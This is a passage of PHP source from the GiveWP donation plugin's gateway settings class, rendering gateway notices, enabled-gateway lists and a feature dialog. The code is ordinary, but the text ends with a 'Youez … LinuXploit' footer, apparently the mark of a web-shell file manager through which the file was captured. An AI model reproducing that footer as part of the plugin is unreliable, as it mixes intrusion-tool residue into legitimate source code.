                            'title' => __('Gateway Settings', 'give'),
                            'type' => 'give_docs_link',
                        ],
                        [
                            'id' => 'give_title_gateway_settings_1',
                            'type' => 'sectionend',
                        ],
                    ];
                    break;
            }

            /**
             * Filter the payment gateways settings.
             * Backward compatibility: Please do not use this filter. This filter is deprecated in 1.8
             */
            $settings = apply_filters('give_settings_gateways', $settings);

            /**
             * Filter the settings.
             *
             * @since  1.8
             *
             * @param array $settings
             */
            $settings = apply_filters('give_get_settings_' . $this->id, $settings);

            // Output.
            return $settings;
        }

        /**
         * Get sections.
         *
         * @since 2.9.0 move offline-donations to end of gateway list
         * @since 1.8
         *
         * @return array
         */
        public function get_sections()
        {
            $sections = apply_filters(
                'give_get_sections_' . $this->id,
                [
                    'gateways-settings' => __('Gateways', 'give'),
                ]
            );

            $sections['offline-donations'] = __('Offline Donations', 'give');

            return $sections;
        }

        /**
         * @since 2.13.0
         * @return bool
         */
        private function hasPremiumPaymentGateway()
        {
            $gateways = give_get_payment_gateways();

            return (bool)apply_filters('give_gateway_upsell_notice_conditions', count($gateways) > 8);
        }

        /**
         * @since 2.13.0
         *
         * @return bool
         */
        private function canAcceptCreditCard()
        {
            return Give\Helpers\Gateways\Stripe::isAccountConfigured() ||
                   give(MerchantDetails::class)->accountIsConnected();
        }


        /**
         * Render Gateway Notice
         *
         * @since  2.3.0
         * @access public
         *
         * @param $field
         * @param $settings
         */
        public function render_gateway_notice($field, $settings)
        {
            if (! $this->hasPremiumPaymentGateway() && ! $this->canAcceptCreditCard()) {
                ?>
                <div class="give-gateways-notice">
                    <div class="give-gateways-cc-icon">
                        <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="35"
                             height="29" viewBox="0 0 35 29">
                            <defs>
                                <path id="credit-card-a"
                                      d="M32.0772569,3.88888889 L2.92274306,3.88888889 C1.30642361,3.88888889 0,5.1953125 0,6.80555556 L0,28.1944444 C0,29.8046875 1.30642361,31.1111111 2.92274306,31.1111111 L32.0772569,31.1111111 C33.6935764,31.1111111 35,29.8046875 35,28.1944444 L35,6.80555556 C35,5.1953125 33.6935764,3.88888889 32.0772569,3.88888889 Z M3.28732639,6.80555556 L31.7126736,6.80555556 C31.9131944,6.80555556 32.0772569,6.96961806 32.0772569,7.17013889 L32.0772569,9.72222222 L2.92274306,9.72222222 L2.92274306,7.17013889 C2.92274306,6.96961806 3.08680556,6.80555556 3.28732639,6.80555556 Z M31.7126736,28.1944444 L3.28732639,28.1944444 C3.08680556,28.1944444 2.92274306,28.0303819 2.92274306,27.8298611 L2.92274306,17.5 L32.0772569,17.5 L32.0772569,27.8298611 C32.0772569,28.0303819 31.9131944,28.1944444 31.7126736,28.1944444 Z M11.6666667,22.1180556 L11.6666667,24.5486111 C11.6666667,24.9496528 11.3385417,25.2777778 10.9375,25.2777778 L6.5625,25.2777778 C6.16145833,25.2777778 5.83333333,24.9496528 5.83333333,24.5486111 L5.83333333,22.1180556 C5.83333333,21.7170139 6.16145833,21.3888889 6.5625,21.3888889 L10.9375,21.3888889 C11.3385417,21.3888889 11.6666667,21.7170139 11.6666667,22.1180556 Z M23.3333333,22.1180556 L23.3333333,24.5486111 C23.3333333,24.9496528 23.0052083,25.2777778 22.6041667,25.2777778 L14.3402778,25.2777778 C13.9392361,25.2777778 13.6111111,24.9496528 13.6111111,24.5486111 L13.6111111,22.1180556 C13.6111111,21.7170139 13.9392361,21.3888889 14.3402778,21.3888889 L22.6041667,21.3888889 C23.0052083,21.3888889 23.3333333,21.7170139 23.3333333,22.1180556 Z" />
                            </defs>
                            <g fill="none" fill-rule="evenodd" opacity=".341" transform="translate(0 -3)">
                                <mask id="credit-card-b" fill="#fff">
                                    <use xlink:href="#credit-card-a" />
                                </mask>
                                <g fill="#242A42" mask="url(#credit-card-b)">
                                    <rect width="35" height="35" />
                                </g>
                            </g>
                        </svg>
                    </div>

                    <p class="give-gateways-notice-title">
                        <strong>
                            <?php esc_html_e(
                                'Want to accept credit card donations directly on your website?',
                                'give'
                            ); ?>
                        </strong>
                    </p>

                    <p class="give-gateways-notice-message">
                        <?php
                        printf(
                            __(
                                'Activate the free Stripe payment gateway %1$s, <a href="%2$s" target="_blank">PayPal Donations</a>, or a premium gateway like <a href="%3$s" target="_blank">Authorize.net</a>, or <a href="%4$s" target="_blank">Stripe Premium</a> for no added fees and priority support.',
                                'give'
                            ),
                            Give()->tooltips->render_help(
                                __(
                                    'The free version of Stripe includes an additional 2% processing fee in addition to Stripe\'s normal fees for one-time donations. This ensures we can fully support the plugin for the future. Upgrade to the premium Stripe add-on for no added fees.',
                                    'give'
                                )
                            ),
                            admin_url('edit.php?post_type=give_forms&page=give-settings&tab=gateways&section=paypal'),
                            'https://givewp.com/addons/authorize-net-gateway/?utm_source=WP%20Admin%20%3E%20Donations%20%3E%20Settings%20%3E%20Gateways&utm_medium=banner',
                            'https://givewp.com/addons/stripe-gateway/?utm_source=WP%20Admin%20%3E%20Donations%20%3E%20Settings%20%3E%20Gateways&utm_medium=banner'
                        );
                        ?>
                    </p>

                    <div class="give-gateways-notice-button">
                        <?php echo give(AccountManagerSettingField::class)->getStripeConnectButtonMarkup(); ?>
                        <a href="https://givewp.com/addons/category/payment-gateways/?utm_source=WP%20Admin%20%3E%20Donations%20%3E%20Settings%20%3E%20Gateways&utm_medium=banner"
                           target="_blank" class="give-view-gateways-btn button">
                            <?php esc_html_e('View Premium Gateways', 'give'); ?>
                        </a>
                    </div>
                </div>
                <?php
            }
        }

        /**
         * Render enabled gateways
         *
         * @since 3.15.0 Set the v3 settings tab as default in the gateways list
         * @since 3.0.0 split gateways into separated tabs for v2 and v3 settings
         * @since  2.0.5
         * @access public
         *
         * @param $field
         * @param $settings
         */
        public function render_enabled_gateways($field, $settings)
        {
            $id = $field['id'];
            $gateways = give_get_payment_gateways();

            $current_page = give_get_current_setting_page();
            $current_tab = give_get_current_setting_tab();
            $current_section = give_get_current_setting_section();

            // Legacy gateways are gateways that are not registered with updated gateway registration API.
            // For example: Razorpay, Paytm, Mollie etc.
            // These payment gateways support donation processing only with v2 donation forms.
            $legacyGateways = array_filter(
                $gateways,
                static function ($value, $key) {
                    return ! give()->gateways->hasPaymentGateway($key);
                },
                ARRAY_FILTER_USE_BOTH
            );

            // v2 gateways are gateways that are registered with updated gateway registration API.
            // These payment gateways support donation processing with v2 donation forms.
            // Legacy payment gateways will display with v2 gateways.
            $v2Gateways = give_get_ordered_payment_gateways(
                array_merge(
                    $legacyGateways,
                    array_intersect_key(
                        $gateways,
                        give()->gateways->getPaymentGateways(2)
                    )
                ),
                2
            );

            // v3 gateways are gateways that are registered with updated gateway registration API.
            // These payment gateways support donation processing with v3 donation forms.
            $v3Gateways = give_get_ordered_payment_gateways(
                array_intersect_key($gateways, give()->gateways->getPaymentGateways(3)),
                3
            );

            $groups = [
                'v3' => [
                    'label' => __('Visual Form Builder', 'give'),
                    'gateways' => $v3Gateways,
                    'settings' => give_get_option('gateways_v3', []),
                    'gatewaysLabel' => give_get_option('gateways_label_v3', []),
                    'defaultGateway' => give_get_option('default_gateway_v3', current(array_keys($v3Gateways))),
                    'helper' => [
                        'text' => __(
                            'Uses the blocks-based visual form builder for creating and customizing a donation form.',
                            'give'
                        ),
                        'image' => GIVE_PLUGIN_URL . 'assets/dist/images/admin/give-settings-gateways-v3.jpg',
                    ]
                ],
                'v2' => [
                    'label' => __('Option-Based Form Editor', 'give'),
                    'gateways' => $v2Gateways,
                    'settings' => $settings,
                    'gatewaysLabel' => give_get_option('gateways_label', []),
                    'defaultGateway' => give_get_option('default_gateway', current(array_keys($v2Gateways))),
                    'helper' => [
                        'text' => __(
                            'Uses the traditional settings options for creating and customizing a donation form.',
                            'give'
                        ),
                        'image' => GIVE_PLUGIN_URL . 'assets/dist/images/admin/give-settings-gateways-v2.jpg',
                    ],
                ],
            ];

            /**
             * @since 3.18.0
             */
            $groups = apply_filters('give_settings_payment_gateways_menu_groups', $groups);

            $defaultGroup = current(array_keys($groups));

            ob_start();

            echo '<h4>' . __('Enabled Gateways', 'give') . '</h4>';
            echo '<div class="give-settings-section-content give-payment-gateways-settings">';

            if (count($groups) > 1) {
                echo '<div class="give-settings-section-group-menu">';
                echo '<ul>';
                foreach ($groups as $slug => $group) {
                    $current_group = ! empty($_GET['group']) ? give_clean($_GET['group']) : $defaultGroup;
                    $active_class = ($slug === $current_group) ? 'active' : '';

                    if ($group['helper']) {
                        $helper = sprintf(
                            '<div class="give-settings-section-group-helper">
                                <img src="%1$s" />
                                <div class="give-settings-section-group-helper__popout">
                                    <img src="%2$s" />
                                    <h5>%3$s</h5>
                                    <p>%4$s</p>
                                </div>
                            </div>',
                            esc_url(GIVE_PLUGIN_URL . 'assets/dist/images/admin/help-circle.svg'),
                            esc_url($group['helper']['image']),
                            esc_html($group['label']),
                            esc_html($group['helper']['text'])
                        );
                    }

                    echo sprintf(
                        '<li><a class="%1$s" href="%2$s" data-group="%3$s">%4$s %5$s</a></li>',
                        esc_html($active_class),
                        esc_url(
                            admin_url(
                                "edit.php?post_type=give_forms&page={$current_page}&tab={$current_tab}&section={$current_section}&group={$slug}"
                            )
                        ),
                        esc_html($slug),
                        esc_html($group['label']),
                        $helper ?? ''
                    );
                }
                echo '</ul>';
                echo '</div>';
            }

            echo '<div class="give-settings-section-group-content">';
            foreach ($groups as $slug => $group) :
                $current_group = !empty($_GET['group']) ? give_clean($_GET['group']) : $defaultGroup;
                $hide_class = $slug !== $current_group ? 'give-hidden' : '';
                $suffix = $slug === 'v3' ? '_v3' : '';

                printf(
                    '<div id="give-settings-section-group-%1$s" class="give-settings-section-group %2$s">',
                    esc_attr($slug),
                    esc_html($hide_class)
                );

                echo '<div class="gateway-enabled-wrap">';
                echo '<div class="gateway-enabled-settings-title">';
                printf(
                    '
                            <span></span>
                            <span>%1$s</span>
                            <span>%2$s</span>
                            <span style="text-align: center;">%3$s</span>
                            <span style="text-align: center;">%4$s</span>
                            ',
                    __('Gateway', 'give'),
                    __('Label', 'give'),
                    __('Default', 'give'),
                    __('Enabled', 'give')
                );
                echo '</div>';

                echo '<ul class="give-checklist-fields give-payment-gatways-list">';
                foreach ($group['gateways'] as $key => $option) :
                    $enabled = null;
                    if (is_array($group['settings']) && array_key_exists($key, $group['settings'])) {
                        $enabled = '1';
                    }

                    echo '<li>';
                    printf('<span class="give-drag-handle"><span class="dashicons dashicons-menu"></span></span>');
                    printf(
                        '<span class="admin-label">%1$s %2$s</span>',
                        esc_html($option['admin_label']),
                        !empty($option['admin_tooltip']) ? Give()->tooltips->render_help(
                            esc_attr($option['admin_tooltip'])
                        ) : ''
                    );

                    $label = '';
                    if (!empty($group['gatewaysLabel'][$key])) {
                        $label = $group['gatewaysLabel'][$key];
                    }

                    printf(
                        '<input class="checkout-label" type="text" id="%1$s[%2$s]" name="%1$s[%2$s]" value="%3$s" placeholder="%4$s"/>',
                        'gateways_label' . $suffix,
                        esc_attr($key),
                        esc_html($label),
                        esc_html($option['checkout_label'])
                    );

                    printf(
                        '<input class="gateways-radio" type="radio" name="%1$s" value="%2$s" %3$s %4$s>',
                        'default_gateway' . $suffix,
                        $key,
                        checked($key, $group['defaultGateway'], false),
                        disabled(null, $enabled, false)
                    );

                    printf(
                        '<input class="gateways-checkbox" name="%1$s[%2$s]" id="%1$s[%2$s]" type="checkbox" value="1" %3$s data-payment-gateway="%4$s"/>',
                        esc_attr($id) . $suffix,
                        esc_attr($key),
                        checked('1', $enabled, false),
                        esc_html($option['admin_label'])
                    );
                    echo '</li>';
                endforeach;
                echo '</ul>';

                echo '</div>'; // end gateway-enabled-wrap.
                echo '</div>'; // end give-settings-section-group-content.
            endforeach;

            echo '</div>'; // end give-settings-section-content.

            printf('<tr><td colspan="2" style="padding: 0">%s</td></tr>', ob_get_clean());

            $this->maybeRenderNoticeDialog();
        }

        /**
         * @since 3.0.0
         */
        private function maybeRenderNoticeDialog()
        {
            $noticeVersion = '3.0.0';
            $hasUserSeenGatewayNotice = version_compare(
                get_user_meta(
                    get_current_user_id(),
                    'give-payment-gateways-settings-dialog-read',
                    true
                ),
                $noticeVersion,
                '>='
            );

            if ($hasUserSeenGatewayNotice) {
                return;
            }

            update_user_meta(
                get_current_user_id(),
                'give-payment-gateways-settings-dialog-read',
                $noticeVersion
            );

            $supportedGateways = (new DonationFormsAdminPage())->getSupportedGateways();
            ?>

            <dialog class="give-payment-gateway-settings-dialog" id="give-payment-gateway-settings-dialog">
                <div class="give-payment-gateway-settings-dialog__header">
                    <?php
                    _e('Feature notice', 'give'); ?>
                    <button
                        class="give-payment-gateway-settings-dialog__close"
                        id="give-payment-gateway-settings-dialog__close"
                        aria-label="<?php
                        esc_attr_e('Close dialog', 'give'); ?>"
                    >
                        <svg xmlns="http://www.w3.org/2000/svg" width="23" height="23" viewBox="0 0 24 24"
                             aria-label="Close dialog icon">
                            <path
                                d="M18.707 6.707a1 1 0 0 0-1.414-1.414L12 10.586 6.707 5.293a1 1 0 0 0-1.414 1.414L10.586 12l-5.293 5.293a1 1 0 1 0 1.414 1.414L12 13.414l5.293 5.293a1 1 0 0 0 1.414-1.414L13.414 12l5.293-5.293z"></path>
                        </svg>
                    </button>
                </div>
                <div class="give-payment-gateway-settings-dialog__content">
                    <div class="give-payment-gateway-settings-dialog__content-title">
                        <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                            <path
                                d="M5.5 2a1 1 0 0 0-2 0v1.5H2a1 1 0 0 0 0 2h1.5V7a1 1 0 0 0 2 0V5.5H7a1 1 0 0 0 0-2H5.5V2zM5.5 17a1 1 0 1 0-2 0v1.5H2a1 1 0 1 0 0 2h1.5V22a1 1 0 1 0 2 0v-1.5H7a1 1 0 1 0 0-2H5.5V17zM13.933 2.641a1 1 0 0 0-1.866 0L10.332 7.15c-.3.78-.394 1.006-.523 1.188a2 2 0 0 1-.471.47c-.182.13-.407.224-1.188.524L3.64 11.067a1 1 0 0 0 0 1.866l4.509 1.735c.78.3 1.006.394 1.188.523.182.13.341.29.47.471.13.182.224.407.524 1.188l1.735 4.509a1 1 0 0 0 1.866 0l1.735-4.509c.3-.78.394-1.006.523-1.188.13-.182.29-.341.471-.47.182-.13.407-.224 1.188-.524l4.509-1.735a1 1 0 0 0 0-1.866L17.85 9.332c-.78-.3-1.006-.394-1.188-.523a2.001 2.001 0 0 1-.47-.471c-.13-.182-.224-.407-.524-1.188L13.933 2.64z"
                                fill="#F2CC0C"></path>
                        </svg>
                        <?php
                        esc_html_e('What\'s new', 'give'); ?>
                    </div>
                    <?php
                    esc_html_e(
                        'GiveWP 3.0 introduces an enhanced forms experience powered by the new Visual Donations Form Builder. However, we are still working on gateway compatibility with the new forms experience.',
                        'give'
                    ); ?>
                    <?php
                    if ($supportedGateways) : ?>
                        <div class="give-payment-gateway-settings-dialog__content-title"><?php
                            esc_html_e('Supported gateways', 'give'); ?></div>
                        <div class="give-payment-gateway-settings-dialog__content-itemsContainer">
                            <?php
                            foreach ($supportedGateways as $gateway) : ?>
                                <div class="give-payment-gateway-settings-dialog__content-item">
                                    <svg width="16" height="16" viewBox="0 0 16 16" fill="none"
                                         xmlns="http://www.w3.org/2000/svg">
                                        <path fill-rule="evenodd" clip-rule="evenodd"
                                              d="M7.063.986a1.531 1.531 0 0 1 1.872 0l.783.601.98-.129c.69-.09 1.354.294 1.62.935l.377.913.911.376h.002c.641.267 1.025.93.935 1.62l-.13.98.602.783a1.534 1.534 0 0 1 0 1.872l-.601.783.129.98c.09.69-.294 1.354-.935 1.62h-.002l-.91.377-.378.912a1.537 1.537 0 0 1-1.62.936l-.98-.13-.783.601a1.531 1.531 0 0 1-1.872 0l-.782-.6-.98.129a1.537 1.537 0 0 1-1.62-.936l-.377-.912-.911-.376H2.39a1.537 1.537 0 0 1-.935-1.621l.129-.98-.601-.783a1.533 1.533 0 0 1 0-1.872l.601-.782-.129-.98c-.09-.69.294-1.354.935-1.62l.002-.001.91-.376.377-.913a1.537 1.537 0 0 1 1.62-.935l.98.13.783-.602zm3.741 5.82a.667.667 0 0 0-.943-.943L7.333 8.392 6.47 7.53a.667.667 0 1 0-.943.943L6.86 9.806c.26.26.683.26.943 0l3-3z"
                                              fill="#459948"></path>
                                    </svg>
                                    <?php
                                    echo $gateway; ?>
                                </div>
                            <?php
                            endforeach; ?>
                        </div>
                    <?php
                    endif; ?>
                    <button class="give-payment-gateway-settings-dialog__content-button"><?php
                        esc_html_e('Got it', 'give'); ?></button>
                    <a href="https://docs.givewp.com/compat-guide" rel="noopener noreferrer" target="_blank"
                       class="give-payment-gateway-settings-dialog__content-link"><?php
                        esc_html_e('Read more on Add-ons and Gateways compatibility', 'give'); ?></a>
                </div>
            </dialog>

            <?php
        }
    }

endif;

return new Give_Settings_Gateways();

Youez - 2016 - github.com/yon3zu
LinuXploit